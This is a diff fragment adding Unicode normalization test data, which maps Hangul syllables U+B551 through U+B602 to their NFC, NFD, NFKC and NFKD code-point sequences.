+{ source: [0xB551], NFC: [0xB551], NFD: [0x1104, 0x1162, 0x11AC], NFKC: [0xB551], NFKD: [0x1104, 0x1162, 0x11AC] },
+{ source: [0xB552], NFC: [0xB552], NFD: [0x1104, 0x1162, 0x11AD], NFKC: [0xB552], NFKD: [0x1104, 0x1162, 0x11AD] },
+{ source: [0xB553], NFC: [0xB553], NFD: [0x1104, 0x1162, 0x11AE], NFKC: [0xB553], NFKD: [0x1104, 0x1162, 0x11AE] },
+{ source: [0xB554], NFC: [0xB554], NFD: [0x1104, 0x1162, 0x11AF], NFKC: [0xB554], NFKD: [0x1104, 0x1162, 0x11AF] },
+{ source: [0xB555], NFC: [0xB555], NFD: [0x1104, 0x1162, 0x11B0], NFKC: [0xB555], NFKD: [0x1104, 0x1162, 0x11B0] },
+{ source: [0xB556], NFC: [0xB556], NFD: [0x1104, 0x1162, 0x11B1], NFKC: [0xB556], NFKD: [0x1104, 0x1162, 0x11B1] },
+{ source: [0xB557], NFC: [0xB557], NFD: [0x1104, 0x1162, 0x11B2], NFKC: [0xB557], NFKD: [0x1104, 0x1162, 0x11B2] },
+{ source: [0xB558], NFC: [0xB558], NFD: [0x1104, 0x1162, 0x11B3], NFKC: [0xB558], NFKD: [0x1104, 0x1162, 0x11B3] },
+{ source: [0xB559], NFC: [0xB559], NFD: [0x1104, 0x1162, 0x11B4], NFKC: [0xB559], NFKD: [0x1104, 0x1162, 0x11B4] },
+{ source: [0xB55A], NFC: [0xB55A], NFD: [0x1104, 0x1162, 0x11B5], NFKC: [0xB55A], NFKD: [0x1104, 0x1162, 0x11B5] },
+{ source: [0xB55B], NFC: [0xB55B], NFD: [0x1104, 0x1162, 0x11B6], NFKC: [0xB55B], NFKD: [0x1104, 0x1162, 0x11B6] },
+{ source: [0xB55C], NFC: [0xB55C], NFD: [0x1104, 0x1162, 0x11B7], NFKC: [0xB55C], NFKD: [0x1104, 0x1162, 0x11B7] },
+{ source: [0xB55D], NFC: [0xB55D], NFD: [0x1104, 0x1162, 0x11B8], NFKC: [0xB55D], NFKD: [0x1104, 0x1162, 0x11B8] },
+{ source: [0xB55E], NFC: [0xB55E], NFD: [0x1104, 0x1162, 0x11B9], NFKC: [0xB55E], NFKD: [0x1104, 0x1162, 0x11B9] },
+{ source: [0xB55F], NFC: [0xB55F], NFD: [0x1104, 0x1162, 0x11BA], NFKC: [0xB55F], NFKD: [0x1104, 0x1162, 0x11BA] },
+{ source: [0xB560], NFC: [0xB560], NFD: [0x1104, 0x1162, 0x11BB], NFKC: [0xB560], NFKD: [0x1104, 0x1162, 0x11BB] },
+{ source: [0xB561], NFC: [0xB561], NFD: [0x1104, 0x1162, 0x11BC], NFKC: [0xB561], NFKD: [0x1104, 0x1162, 0x11BC] },
+{ source: [0xB562], NFC: [0xB562], NFD: [0x1104, 0x1162, 0x11BD], NFKC: [0xB562], NFKD: [0x1104, 0x1162, 0x11BD] },
+{ source: [0xB563], NFC: [0xB563], NFD: [0x1104, 0x1162, 0x11BE], NFKC: [0xB563], NFKD: [0x1104, 0x1162, 0x11BE] },
+{ source: [0xB564], NFC: [0xB564], NFD: [0x1104, 0x1162, 0x11BF], NFKC: [0xB564], NFKD: [0x1104, 0x1162, 0x11BF] },
+{ source: [0xB565], NFC: [0xB565], NFD: [0x1104, 0x1162, 0x11C0], NFKC: [0xB565], NFKD: [0x1104, 0x1162, 0x11C0] },
+{ source: [0xB566], NFC: [0xB566], NFD: [0x1104, 0x1162, 0x11C1], NFKC: [0xB566], NFKD: [0x1104, 0x1162, 0x11C1] },
+{ source: [0xB567], NFC: [0xB567], NFD: [0x1104, 0x1162, 0x11C2], NFKC: [0xB567], NFKD: [0x1104, 0x1162, 0x11C2] },
+{ source: [0xB568], NFC: [0xB568], NFD: [0x1104, 0x1163], NFKC: [0xB568], NFKD: [0x1104, 0x1163] },
+{ source: [0xB569], NFC: [0xB569], NFD: [0x1104, 0x1163, 0x11A8], NFKC: [0xB569], NFKD: [0x1104, 0x1163, 0x11A8] },
+{ source: [0xB56A], NFC: [0xB56A], NFD: [0x1104, 0x1163, 0x11A9], NFKC: [0xB56A], NFKD: [0x1104, 0x1163, 0x11A9] },
+{ source: [0xB56B], NFC: [0xB56B], NFD: [0x1104, 0x1163, 0x11AA], NFKC: [0xB56B], NFKD: [0x1104, 0x1163, 0x11AA] },
+{ source: [0xB56C], NFC: [0xB56C], NFD: [0x1104, 0x1163, 0x11AB], NFKC: [0xB56C], NFKD: [0x1104, 0x1163, 0x11AB] },
+{ source: [0xB56D], NFC: [0xB56D], NFD: [0x1104, 0x1163, 0x11AC], NFKC: [0xB56D], NFKD: [0x1104, 0x1163, 0x11AC] },
+{ source: [0xB56E], NFC: [0xB56E], NFD: [0x1104, 0x1163, 0x11AD], NFKC: [0xB56E], NFKD: [0x1104, 0x1163, 0x11AD] },
+{ source: [0xB56F], NFC: [0xB56F], NFD: [0x1104, 0x1163, 0x11AE], NFKC: [0xB56F], NFKD: [0x1104, 0x1163, 0x11AE] },
+{ source: [0xB570], NFC: [0xB570], NFD: [0x1104, 0x1163, 0x11AF], NFKC: [0xB570], NFKD: [0x1104, 0x1163, 0x11AF] },
+{ source: [0xB571], NFC: [0xB571], NFD: [0x1104, 0x1163, 0x11B0], NFKC: [0xB571], NFKD: [0x1104, 0x1163, 0x11B0] },
+{ source: [0xB572], NFC: [0xB572], NFD: [0x1104, 0x1163, 0x11B1], NFKC: [0xB572], NFKD: [0x1104, 0x1163, 0x11B1] },
+{ source: [0xB573], NFC: [0xB573], NFD: [0x1104, 0x1163, 0x11B2], NFKC: [0xB573], NFKD: [0x1104, 0x1163, 0x11B2] },
+{ source: [0xB574], NFC: [0xB574], NFD: [0x1104, 0x1163, 0x11B3], NFKC: [0xB574], NFKD: [0x1104, 0x1163, 0x11B3] },
+{ source: [0xB575], NFC: [0xB575], NFD: [0x1104, 0x1163, 0x11B4], NFKC: [0xB575], NFKD: [0x1104, 0x1163, 0x11B4] },
+{ source: [0xB576], NFC: [0xB576], NFD: [0x1104, 0x1163, 0x11B5], NFKC: [0xB576], NFKD: [0x1104, 0x1163, 0x11B5] },
+{ source: [0xB577], NFC: [0xB577], NFD: [0x1104, 0x1163, 0x11B6], NFKC: [0xB577], NFKD: [0x1104, 0x1163, 0x11B6] },
+{ source: [0xB578], NFC: [0xB578], NFD: [0x1104, 0x1163, 0x11B7], NFKC: [0xB578], NFKD: [0x1104, 0x1163, 0x11B7] },
+{ source: [0xB579], NFC: [0xB579], NFD: [0x1104, 0x1163, 0x11B8], NFKC: [0xB579], NFKD: [0x1104, 0x1163, 0x11B8] },
+{ source: [0xB57A], NFC: [0xB57A], NFD: [0x1104, 0x1163, 0x11B9], NFKC: [0xB57A], NFKD: [0x1104, 0x1163, 0x11B9] },
+{ source: [0xB57B], NFC: [0xB57B], NFD: [0x1104, 0x1163, 0x11BA], NFKC: [0xB57B], NFKD: [0x1104, 0x1163, 0x11BA] },
+{ source: [0xB57C], NFC: [0xB57C], NFD: [0x1104, 0x1163, 0x11BB], NFKC: [0xB57C], NFKD: [0x1104, 0x1163, 0x11BB] },
+{ source: [0xB57D], NFC: [0xB57D], NFD: [0x1104, 0x1163, 0x11BC], NFKC: [0xB57D], NFKD: [0x1104, 0x1163, 0x11BC] },
+{ source: [0xB57E], NFC: [0xB57E], NFD: [0x1104, 0x1163, 0x11BD], NFKC: [0xB57E], NFKD: [0x1104, 0x1163, 0x11BD] },
+{ source: [0xB57F], NFC: [0xB57F], NFD: [0x1104, 0x1163, 0x11BE], NFKC: [0xB57F], NFKD: [0x1104, 0x1163, 0x11BE] },
+{ source: [0xB580], NFC: [0xB580], NFD: [0x1104, 0x1163, 0x11BF], NFKC: [0xB580], NFKD: [0x1104, 0x1163, 0x11BF] },
+{ source: [0xB581], NFC: [0xB581], NFD: [0x1104, 0x1163, 0x11C0], NFKC: [0xB581], NFKD: [0x1104, 0x1163, 0x11C0] },
+{ source: [0xB582], NFC: [0xB582], NFD: [0x1104, 0x1163, 0x11C1], NFKC: [0xB582], NFKD: [0x1104, 0x1163, 0x11C1] },
+{ source: [0xB583], NFC: [0xB583], NFD: [0x1104, 0x1163, 0x11C2], NFKC: [0xB583], NFKD: [0x1104, 0x1163, 0x11C2] },
+{ source: [0xB584], NFC: [0xB584], NFD: [0x1104, 0x1164], NFKC: [0xB584], NFKD: [0x1104, 0x1164] },
+{ source: [0xB585], NFC: [0xB585], NFD: [0x1104, 0x1164, 0x11A8], NFKC: [0xB585], NFKD: [0x1104, 0x1164, 0x11A8] },
+{ source: [0xB586], NFC: [0xB586], NFD: [0x1104, 0x1164, 0x11A9], NFKC: [0xB586], NFKD: [0x1104, 0x1164, 0x11A9] },
+{ source: [0xB587], NFC: [0xB587], NFD: [0x1104, 0x1164, 0x11AA], NFKC: [0xB587], NFKD: [0x1104, 0x1164, 0x11AA] },
+{ source: [0xB588], NFC: [0xB588], NFD: [0x1104, 0x1164, 0x11AB], NFKC: [0xB588], NFKD: [0x1104, 0x1164, 0x11AB] },
+{ source: [0xB589], NFC: [0xB589], NFD: [0x1104, 0x1164, 0x11AC], NFKC: [0xB589], NFKD: [0x1104, 0x1164, 0x11AC] },
+{ source: [0xB58A], NFC: [0xB58A], NFD: [0x1104, 0x1164, 0x11AD], NFKC: [0xB58A], NFKD: [0x1104, 0x1164, 0x11AD] },
+{ source: [0xB58B], NFC: [0xB58B], NFD: [0x1104, 0x1164, 0x11AE], NFKC: [0xB58B], NFKD: [0x1104, 0x1164, 0x11AE] },
+{ source: [0xB58C], NFC: [0xB58C], NFD: [0x1104, 0x1164, 0x11AF], NFKC: [0xB58C], NFKD: [0x1104, 0x1164, 0x11AF] },
+{ source: [0xB58D], NFC: [0xB58D], NFD: [0x1104, 0x1164, 0x11B0], NFKC: [0xB58D], NFKD: [0x1104, 0x1164, 0x11B0] },
+{ source: [0xB58E], NFC: [0xB58E], NFD: [0x1104, 0x1164, 0x11B1], NFKC: [0xB58E], NFKD: [0x1104, 0x1164, 0x11B1] },
+{ source: [0xB58F], NFC: [0xB58F], NFD: [0x1104, 0x1164, 0x11B2], NFKC: [0xB58F], NFKD: [0x1104, 0x1164, 0x11B2] },
+{ source: [0xB590], NFC: [0xB590], NFD: [0x1104, 0x1164, 0x11B3], NFKC: [0xB590], NFKD: [0x1104, 0x1164, 0x11B3] },
+{ source: [0xB591], NFC: [0xB591], NFD: [0x1104, 0x1164, 0x11B4], NFKC: [0xB591], NFKD: [0x1104, 0x1164, 0x11B4] },
+{ source: [0xB592], NFC: [0xB592], NFD: [0x1104, 0x1164, 0x11B5], NFKC: [0xB592], NFKD: [0x1104, 0x1164, 0x11B5] },
+{ source: [0xB593], NFC: [0xB593], NFD: [0x1104, 0x1164, 0x11B6], NFKC: [0xB593], NFKD: [0x1104, 0x1164, 0x11B6] },
+{ source: [0xB594], NFC: [0xB594], NFD: [0x1104, 0x1164, 0x11B7], NFKC: [0xB594], NFKD: [0x1104, 0x1164, 0x11B7] },
+{ source: [0xB595], NFC: [0xB595], NFD: [0x1104, 0x1164, 0x11B8], NFKC: [0xB595], NFKD: [0x1104, 0x1164, 0x11B8] },
+{ source: [0xB596], NFC: [0xB596], NFD: [0x1104, 0x1164, 0x11B9], NFKC: [0xB596], NFKD: [0x1104, 0x1164, 0x11B9] },
+{ source: [0xB597], NFC: [0xB597], NFD: [0x1104, 0x1164, 0x11BA], NFKC: [0xB597], NFKD: [0x1104, 0x1164, 0x11BA] },
+{ source: [0xB598], NFC: [0xB598], NFD: [0x1104, 0x1164, 0x11BB], NFKC: [0xB598], NFKD: [0x1104, 0x1164, 0x11BB] },
+{ source: [0xB599], NFC: [0xB599], NFD: [0x1104, 0x1164, 0x11BC], NFKC: [0xB599], NFKD: [0x1104, 0x1164, 0x11BC] },
+{ source: [0xB59A], NFC: [0xB59A], NFD: [0x1104, 0x1164, 0x11BD], NFKC: [0xB59A], NFKD: [0x1104, 0x1164, 0x11BD] },
+{ source: [0xB59B], NFC: [0xB59B], NFD: [0x1104, 0x1164, 0x11BE], NFKC: [0xB59B], NFKD: [0x1104, 0x1164, 0x11BE] },
+{ source: [0xB59C], NFC: [0xB59C], NFD: [0x1104, 0x1164, 0x11BF], NFKC: [0xB59C], NFKD: [0x1104, 0x1164, 0x11BF] },
+{ source: [0xB59D], NFC: [0xB59D], NFD: [0x1104, 0x1164, 0x11C0], NFKC: [0xB59D], NFKD: [0x1104, 0x1164, 0x11C0] },
+{ source: [0xB59E], NFC: [0xB59E], NFD: [0x1104, 0x1164, 0x11C1], NFKC: [0xB59E], NFKD: [0x1104, 0x1164, 0x11C1] },
+{ source: [0xB59F], NFC: [0xB59F], NFD: [0x1104, 0x1164, 0x11C2], NFKC: [0xB59F], NFKD: [0x1104, 0x1164, 0x11C2] },
+{ source: [0xB5A0], NFC: [0xB5A0], NFD: [0x1104, 0x1165], NFKC: [0xB5A0], NFKD: [0x1104, 0x1165] },
+{ source: [0xB5A1], NFC: [0xB5A1], NFD: [0x1104, 0x1165, 0x11A8], NFKC: [0xB5A1], NFKD: [0x1104, 0x1165, 0x11A8] },
+{ source: [0xB5A2], NFC: [0xB5A2], NFD: [0x1104, 0x1165, 0x11A9], NFKC: [0xB5A2], NFKD: [0x1104, 0x1165, 0x11A9] },
+{ source: [0xB5A3], NFC: [0xB5A3], NFD: [0x1104, 0x1165, 0x11AA], NFKC: [0xB5A3], NFKD: [0x1104, 0x1165, 0x11AA] },
+{ source: [0xB5A4], NFC: [0xB5A4], NFD: [0x1104, 0x1165, 0x11AB], NFKC: [0xB5A4], NFKD: [0x1104, 0x1165, 0x11AB] },
+{ source: [0xB5A5], NFC: [0xB5A5], NFD: [0x1104, 0x1165, 0x11AC], NFKC: [0xB5A5], NFKD: [0x1104, 0x1165, 0x11AC] },
+{ source: [0xB5A6], NFC: [0xB5A6], NFD: [0x1104, 0x1165, 0x11AD], NFKC: [0xB5A6], NFKD: [0x1104, 0x1165, 0x11AD] },
+{ source: [0xB5A7], NFC: [0xB5A7], NFD: [0x1104, 0x1165, 0x11AE], NFKC: [0xB5A7], NFKD: [0x1104, 0x1165, 0x11AE] },
+{ source: [0xB5A8], NFC: [0xB5A8], NFD: [0x1104, 0x1165, 0x11AF], NFKC: [0xB5A8], NFKD: [0x1104, 0x1165, 0x11AF] },
+{ source: [0xB5A9], NFC: [0xB5A9], NFD: [0x1104, 0x1165, 0x11B0], NFKC: [0xB5A9], NFKD: [0x1104, 0x1165, 0x11B0] },
+{ source: [0xB5AA], NFC: [0xB5AA], NFD: [0x1104, 0x1165, 0x11B1], NFKC: [0xB5AA], NFKD: [0x1104, 0x1165, 0x11B1] },
+{ source: [0xB5AB], NFC: [0xB5AB], NFD: [0x1104, 0x1165, 0x11B2], NFKC: [0xB5AB], NFKD: [0x1104, 0x1165, 0x11B2] },
+{ source: [0xB5AC], NFC: [0xB5AC], NFD: [0x1104, 0x1165, 0x11B3], NFKC: [0xB5AC], NFKD: [0x1104, 0x1165, 0x11B3] },
+{ source: [0xB5AD], NFC: [0xB5AD], NFD: [0x1104, 0x1165, 0x11B4], NFKC: [0xB5AD], NFKD: [0x1104, 0x1165, 0x11B4] },
+{ source: [0xB5AE], NFC: [0xB5AE], NFD: [0x1104, 0x1165, 0x11B5], NFKC: [0xB5AE], NFKD: [0x1104, 0x1165, 0x11B5] },
+{ source: [0xB5AF], NFC: [0xB5AF], NFD: [0x1104, 0x1165, 0x11B6], NFKC: [0xB5AF], NFKD: [0x1104, 0x1165, 0x11B6] },
+{ source: [0xB5B0], NFC: [0xB5B0], NFD: [0x1104, 0x1165, 0x11B7], NFKC: [0xB5B0], NFKD: [0x1104, 0x1165, 0x11B7] },
+{ source: [0xB5B1], NFC: [0xB5B1], NFD: [0x1104, 0x1165, 0x11B8], NFKC: [0xB5B1], NFKD: [0x1104, 0x1165, 0x11B8] },
+{ source: [0xB5B2], NFC: [0xB5B2], NFD: [0x1104, 0x1165, 0x11B9], NFKC: [0xB5B2], NFKD: [0x1104, 0x1165, 0x11B9] },
+{ source: [0xB5B3], NFC: [0xB5B3], NFD: [0x1104, 0x1165, 0x11BA], NFKC: [0xB5B3], NFKD: [0x1104, 0x1165, 0x11BA] },
+{ source: [0xB5B4], NFC: [0xB5B4], NFD: [0x1104, 0x1165, 0x11BB], NFKC: [0xB5B4], NFKD: [0x1104, 0x1165, 0x11BB] },
+{ source: [0xB5B5], NFC: [0xB5B5], NFD: [0x1104, 0x1165, 0x11BC], NFKC: [0xB5B5], NFKD: [0x1104, 0x1165, 0x11BC] },
+{ source: [0xB5B6], NFC: [0xB5B6], NFD: [0x1104, 0x1165, 0x11BD], NFKC: [0xB5B6], NFKD: [0x1104, 0x1165, 0x11BD] },
+{ source: [0xB5B7], NFC: [0xB5B7], NFD: [0x1104, 0x1165, 0x11BE], NFKC: [0xB5B7], NFKD: [0x1104, 0x1165, 0x11BE] },
+{ source: [0xB5B8], NFC: [0xB5B8], NFD: [0x1104, 0x1165, 0x11BF], NFKC: [0xB5B8], NFKD: [0x1104, 0x1165, 0x11BF] },
+{ source: [0xB5B9], NFC: [0xB5B9], NFD: [0x1104, 0x1165, 0x11C0], NFKC: [0xB5B9], NFKD: [0x1104, 0x1165, 0x11C0] },
+{ source: [0xB5BA], NFC: [0xB5BA], NFD: [0x1104, 0x1165, 0x11C1], NFKC: [0xB5BA], NFKD: [0x1104, 0x1165, 0x11C1] },
+{ source: [0xB5BB], NFC: [0xB5BB], NFD: [0x1104, 0x1165, 0x11C2], NFKC: [0xB5BB], NFKD: [0x1104, 0x1165, 0x11C2] },
+{ source: [0xB5BC], NFC: [0xB5BC], NFD: [0x1104, 0x1166], NFKC: [0xB5BC], NFKD: [0x1104, 0x1166] },
+{ source: [0xB5BD], NFC: [0xB5BD], NFD: [0x1104, 0x1166, 0x11A8], NFKC: [0xB5BD], NFKD: [0x1104, 0x1166, 0x11A8] },
+{ source: [0xB5BE], NFC: [0xB5BE], NFD: [0x1104, 0x1166, 0x11A9], NFKC: [0xB5BE], NFKD: [0x1104, 0x1166, 0x11A9] },
+{ source: [0xB5BF], NFC: [0xB5BF], NFD: [0x1104, 0x1166, 0x11AA], NFKC: [0xB5BF], NFKD: [0x1104, 0x1166, 0x11AA] },
+{ source: [0xB5C0], NFC: [0xB5C0], NFD: [0x1104, 0x1166, 0x11AB], NFKC: [0xB5C0], NFKD: [0x1104, 0x1166, 0x11AB] },
+{ source: [0xB5C1], NFC: [0xB5C1], NFD: [0x1104, 0x1166, 0x11AC], NFKC: [0xB5C1], NFKD: [0x1104, 0x1166, 0x11AC] },
+{ source: [0xB5C2], NFC: [0xB5C2], NFD: [0x1104, 0x1166, 0x11AD], NFKC: [0xB5C2], NFKD: [0x1104, 0x1166, 0x11AD] },
+{ source: [0xB5C3], NFC: [0xB5C3], NFD: [0x1104, 0x1166, 0x11AE], NFKC: [0xB5C3], NFKD: [0x1104, 0x1166, 0x11AE] },
+{ source: [0xB5C4], NFC: [0xB5C4], NFD: [0x1104, 0x1166, 0x11AF], NFKC: [0xB5C4], NFKD: [0x1104, 0x1166, 0x11AF] },
+{ source: [0xB5C5], NFC: [0xB5C5], NFD: [0x1104, 0x1166, 0x11B0], NFKC: [0xB5C5], NFKD: [0x1104, 0x1166, 0x11B0] },
+{ source: [0xB5C6], NFC: [0xB5C6], NFD: [0x1104, 0x1166, 0x11B1], NFKC: [0xB5C6], NFKD: [0x1104, 0x1166, 0x11B1] },
+{ source: [0xB5C7], NFC: [0xB5C7], NFD: [0x1104, 0x1166, 0x11B2], NFKC: [0xB5C7], NFKD: [0x1104, 0x1166, 0x11B2] },
+{ source: [0xB5C8], NFC: [0xB5C8], NFD: [0x1104, 0x1166, 0x11B3], NFKC: [0xB5C8], NFKD: [0x1104, 0x1166, 0x11B3] },
+{ source: [0xB5C9], NFC: [0xB5C9], NFD: [0x1104, 0x1166, 0x11B4], NFKC: [0xB5C9], NFKD: [0x1104, 0x1166, 0x11B4] },
+{ source: [0xB5CA], NFC: [0xB5CA], NFD: [0x1104, 0x1166, 0x11B5], NFKC: [0xB5CA], NFKD: [0x1104, 0x1166, 0x11B5] },
+{ source: [0xB5CB], NFC: [0xB5CB], NFD: [0x1104, 0x1166, 0x11B6], NFKC: [0xB5CB], NFKD: [0x1104, 0x1166, 0x11B6] },
+{ source: [0xB5CC], NFC: [0xB5CC], NFD: [0x1104, 0x1166, 0x11B7], NFKC: [0xB5CC], NFKD: [0x1104, 0x1166, 0x11B7] },
+{ source: [0xB5CD], NFC: [0xB5CD], NFD: [0x1104, 0x1166, 0x11B8], NFKC: [0xB5CD], NFKD: [0x1104, 0x1166, 0x11B8] },
+{ source: [0xB5CE], NFC: [0xB5CE], NFD: [0x1104, 0x1166, 0x11B9], NFKC: [0xB5CE], NFKD: [0x1104, 0x1166, 0x11B9] },
+{ source: [0xB5CF], NFC: [0xB5CF], NFD: [0x1104, 0x1166, 0x11BA], NFKC: [0xB5CF], NFKD: [0x1104, 0x1166, 0x11BA] },
+{ source: [0xB5D0], NFC: [0xB5D0], NFD: [0x1104, 0x1166, 0x11BB], NFKC: [0xB5D0], NFKD: [0x1104, 0x1166, 0x11BB] },
+{ source: [0xB5D1], NFC: [0xB5D1], NFD: [0x1104, 0x1166, 0x11BC], NFKC: [0xB5D1], NFKD: [0x1104, 0x1166, 0x11BC] },
+{ source: [0xB5D2], NFC: [0xB5D2], NFD: [0x1104, 0x1166, 0x11BD], NFKC: [0xB5D2], NFKD: [0x1104, 0x1166, 0x11BD] },
+{ source: [0xB5D3], NFC: [0xB5D3], NFD: [0x1104, 0x1166, 0x11BE], NFKC: [0xB5D3], NFKD: [0x1104, 0x1166, 0x11BE] },
+{ source: [0xB5D4], NFC: [0xB5D4], NFD: [0x1104, 0x1166, 0x11BF], NFKC: [0xB5D4], NFKD: [0x1104, 0x1166, 0x11BF] },
+{ source: [0xB5D5], NFC: [0xB5D5], NFD: [0x1104, 0x1166, 0x11C0], NFKC: [0xB5D5], NFKD: [0x1104, 0x1166, 0x11C0] },
+{ source: [0xB5D6], NFC: [0xB5D6], NFD: [0x1104, 0x1166, 0x11C1], NFKC: [0xB5D6], NFKD: [0x1104, 0x1166, 0x11C1] },
+{ source: [0xB5D7], NFC: [0xB5D7], NFD: [0x1104, 0x1166, 0x11C2], NFKC: [0xB5D7], NFKD: [0x1104, 0x1166, 0x11C2] },
+{ source: [0xB5D8], NFC: [0xB5D8], NFD: [0x1104, 0x1167], NFKC: [0xB5D8], NFKD: [0x1104, 0x1167] },
+{ source: [0xB5D9], NFC: [0xB5D9], NFD: [0x1104, 0x1167, 0x11A8], NFKC: [0xB5D9], NFKD: [0x1104, 0x1167, 0x11A8] },
+{ source: [0xB5DA], NFC: [0xB5DA], NFD: [0x1104, 0x1167, 0x11A9], NFKC: [0xB5DA], NFKD: [0x1104, 0x1167, 0x11A9] },
+{ source: [0xB5DB], NFC: [0xB5DB], NFD: [0x1104, 0x1167, 0x11AA], NFKC: [0xB5DB], NFKD: [0x1104, 0x1167, 0x11AA] },
+{ source: [0xB5DC], NFC: [0xB5DC], NFD: [0x1104, 0x1167, 0x11AB], NFKC: [0xB5DC], NFKD: [0x1104, 0x1167, 0x11AB] },
+{ source: [0xB5DD], NFC: [0xB5DD], NFD: [0x1104, 0x1167, 0x11AC], NFKC: [0xB5DD], NFKD: [0x1104, 0x1167, 0x11AC] },
+{ source: [0xB5DE], NFC: [0xB5DE], NFD: [0x1104, 0x1167, 0x11AD], NFKC: [0xB5DE], NFKD: [0x1104, 0x1167, 0x11AD] },
+{ source: [0xB5DF], NFC: [0xB5DF], NFD: [0x1104, 0x1167, 0x11AE], NFKC: [0xB5DF], NFKD: [0x1104, 0x1167, 0x11AE] },
+{ source: [0xB5E0], NFC: [0xB5E0], NFD: [0x1104, 0x1167, 0x11AF], NFKC: [0xB5E0], NFKD: [0x1104, 0x1167, 0x11AF] },
+{ source: [0xB5E1], NFC: [0xB5E1], NFD: [0x1104, 0x1167, 0x11B0], NFKC: [0xB5E1], NFKD: [0x1104, 0x1167, 0x11B0] },
+{ source: [0xB5E2], NFC: [0xB5E2], NFD: [0x1104, 0x1167, 0x11B1], NFKC: [0xB5E2], NFKD: [0x1104, 0x1167, 0x11B1] },
+{ source: [0xB5E3], NFC: [0xB5E3], NFD: [0x1104, 0x1167, 0x11B2], NFKC: [0xB5E3], NFKD: [0x1104, 0x1167, 0x11B2] },
+{ source: [0xB5E4], NFC: [0xB5E4], NFD: [0x1104, 0x1167, 0x11B3], NFKC: [0xB5E4], NFKD: [0x1104, 0x1167, 0x11B3] },
+{ source: [0xB5E5], NFC: [0xB5E5], NFD: [0x1104, 0x1167, 0x11B4], NFKC: [0xB5E5], NFKD: [0x1104, 0x1167, 0x11B4] },
+{ source: [0xB5E6], NFC: [0xB5E6], NFD: [0x1104, 0x1167, 0x11B5], NFKC: [0xB5E6], NFKD: [0x1104, 0x1167, 0x11B5] },
+{ source: [0xB5E7], NFC: [0xB5E7], NFD: [0x1104, 0x1167, 0x11B6], NFKC: [0xB5E7], NFKD: [0x1104, 0x1167, 0x11B6] },
+{ source: [0xB5E8], NFC: [0xB5E8], NFD: [0x1104, 0x1167, 0x11B7], NFKC: [0xB5E8], NFKD: [0x1104, 0x1167, 0x11B7] },
+{ source: [0xB5E9], NFC: [0xB5E9], NFD: [0x1104, 0x1167, 0x11B8], NFKC: [0xB5E9], NFKD: [0x1104, 0x1167, 0x11B8] },
+{ source: [0xB5EA], NFC: [0xB5EA], NFD: [0x1104, 0x1167, 0x11B9], NFKC: [0xB5EA], NFKD: [0x1104, 0x1167, 0x11B9] },
+{ source: [0xB5EB], NFC: [0xB5EB], NFD: [0x1104, 0x1167, 0x11BA], NFKC: [0xB5EB], NFKD: [0x1104, 0x1167, 0x11BA] },
+{ source: [0xB5EC], NFC: [0xB5EC], NFD: [0x1104, 0x1167, 0x11BB], NFKC: [0xB5EC], NFKD: [0x1104, 0x1167, 0x11BB] },
+{ source: [0xB5ED], NFC: [0xB5ED], NFD: [0x1104, 0x1167, 0x11BC], NFKC: [0xB5ED], NFKD: [0x1104, 0x1167, 0x11BC] },
+{ source: [0xB5EE], NFC: [0xB5EE], NFD: [0x1104, 0x1167, 0x11BD], NFKC: [0xB5EE], NFKD: [0x1104, 0x1167, 0x11BD] },
+{ source: [0xB5EF], NFC: [0xB5EF], NFD: [0x1104, 0x1167, 0x11BE], NFKC: [0xB5EF], NFKD: [0x1104, 0x1167, 0x11BE] },
+{ source: [0xB5F0], NFC: [0xB5F0], NFD: [0x1104, 0x1167, 0x11BF], NFKC: [0xB5F0], NFKD: [0x1104, 0x1167, 0x11BF] },
+{ source: [0xB5F1], NFC: [0xB5F1], NFD: [0x1104, 0x1167, 0x11C0], NFKC: [0xB5F1], NFKD: [0x1104, 0x1167, 0x11C0] },
+{ source: [0xB5F2], NFC: [0xB5F2], NFD: [0x1104, 0x1167, 0x11C1], NFKC: [0xB5F2], NFKD: [0x1104, 0x1167, 0x11C1] },
+{ source: [0xB5F3], NFC: [0xB5F3], NFD: [0x1104, 0x1167, 0x11C2], NFKC: [0xB5F3], NFKD: [0x1104, 0x1167, 0x11C2] },
+{ source: [0xB5F4], NFC: [0xB5F4], NFD: [0x1104, 0x1168], NFKC: [0xB5F4], NFKD: [0x1104, 0x1168] },
+{ source: [0xB5F5], NFC: [0xB5F5], NFD: [0x1104, 0x1168, 0x11A8], NFKC: [0xB5F5], NFKD: [0x1104, 0x1168, 0x11A8] },
+{ source: [0xB5F6], NFC: [0xB5F6], NFD: [0x1104, 0x1168, 0x11A9], NFKC: [0xB5F6], NFKD: [0x1104, 0x1168, 0x11A9] },
+{ source: [0xB5F7], NFC: [0xB5F7], NFD: [0x1104, 0x1168, 0x11AA], NFKC: [0xB5F7], NFKD: [0x1104, 0x1168, 0x11AA] },
+{ source: [0xB5F8], NFC: [0xB5F8], NFD: [0x1104, 0x1168, 0x11AB], NFKC: [0xB5F8], NFKD: [0x1104, 0x1168, 0x11AB] },
+{ source: [0xB5F9], NFC: [0xB5F9], NFD: [0x1104, 0x1168, 0x11AC], NFKC: [0xB5F9], NFKD: [0x1104, 0x1168, 0x11AC] },
+{ source: [0xB5FA], NFC: [0xB5FA], NFD: [0x1104, 0x1168, 0x11AD], NFKC: [0xB5FA], NFKD: [0x1104, 0x1168, 0x11AD] },
+{ source: [0xB5FB], NFC: [0xB5FB], NFD: [0x1104, 0x1168, 0x11AE], NFKC: [0xB5FB], NFKD: [0x1104, 0x1168, 0x11AE] },
+{ source: [0xB5FC], NFC: [0xB5FC], NFD: [0x1104, 0x1168, 0x11AF], NFKC: [0xB5FC], NFKD: [0x1104, 0x1168, 0x11AF] },
+{ source: [0xB5FD], NFC: [0xB5FD], NFD: [0x1104, 0x1168, 0x11B0], NFKC: [0xB5FD], NFKD: [0x1104, 0x1168, 0x11B0] },
+{ source: [0xB5FE], NFC: [0xB5FE], NFD: [0x1104, 0x1168, 0x11B1], NFKC: [0xB5FE], NFKD: [0x1104, 0x1168, 0x11B1] },
+{ source: [0xB5FF], NFC: [0xB5FF], NFD: [0x1104, 0x1168, 0x11B2], NFKC: [0xB5FF], NFKD: [0x1104, 0x1168, 0x11B2] },
+{ source: [0xB600], NFC: [0xB600], NFD: [0x1104, 0x1168, 0x11B3], NFKC: [0xB600], NFKD: [0x1104, 0x1168, 0x11B3] },
+{ source: [0xB601], NFC: [0xB601], NFD: [0x1104, 0x1168, 0x11B4], NFKC: [0xB601], NFKD: [0x1104, 0x1168, 0x11B4] },
+{ source: [0xB602], NFC: [0xB602], NFD: [0x1104, 0x1168, 0x11B5], NFKC: [0xB602], NFKD: [0x1104, 0x1168, 0x11B5] },
